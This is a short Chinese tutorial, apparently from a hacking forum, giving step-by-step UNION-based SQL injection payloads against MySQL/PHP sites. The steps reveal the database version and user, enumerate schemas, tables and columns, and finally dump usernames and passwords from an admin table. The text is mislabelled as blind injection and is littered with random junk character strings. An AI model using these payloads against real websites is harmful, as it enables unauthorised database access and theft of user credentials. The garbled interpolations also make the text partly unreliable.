mysql盲注手册

admin

教程内容:Mysql 5+php 注入

* f3 D  n$ u9 l7 o1 p

一.查看MYSQL基本信息(库名,版本,用户)
" z: R3 u+ ^& u. {! ^
and 1=2 union select 1,2,3,CONCAT_WS(CHAR(32,58,32),user(),database(),version()),5,6,7,8/*

二.查数据库

and 1=2 union select 1,SCHEMA_NAME,3,4,5,6,7,8  from information_schema.SCHEMATA limit 1,1/*
4 b& a: O  o$ C1 v  mlimit 从0开始递增，查询到3时浏览器返回错误，说明存在2个库。

三.暴表

4 x2 s' \" y1 k, m+ J. o/ m) pand 1=2 union select 1,2,3,TABLE_NAME,5,6,7,8 from information_schema.TABLES where TABLE_SCHEMA =库的16进制编码 limit 1,1/*

limit 从0开始递增，查询到14时浏览器返回错误，说明此库存在13个表。
* C7 ^8 ~# q! b" H$ f
0 _- ]; y0 {; A6 t% b8 g四.暴字段

( Q" H5 o- p0 u; `+ nand 1=2 union select 1,2,3,COLUMN_NAME,4,5,6,7,8from information_schema.COLUMNS where TABLE_NAME=表的16进制编码 limit 1,1/*

limit 从0开始递增，查询到时浏览器返回错误，说明此表存在N-1个列。
4 ~( w5 E; P% w4 m
五.暴数据
9 j' U* Q  L% z. Z' x6 B
and 1=2 union select 1,2,3,name,5,password,7,8 from web.ad_user/*


这里直接暴明文的密码，大多时候我们遇到的是MD5加密之后的密文。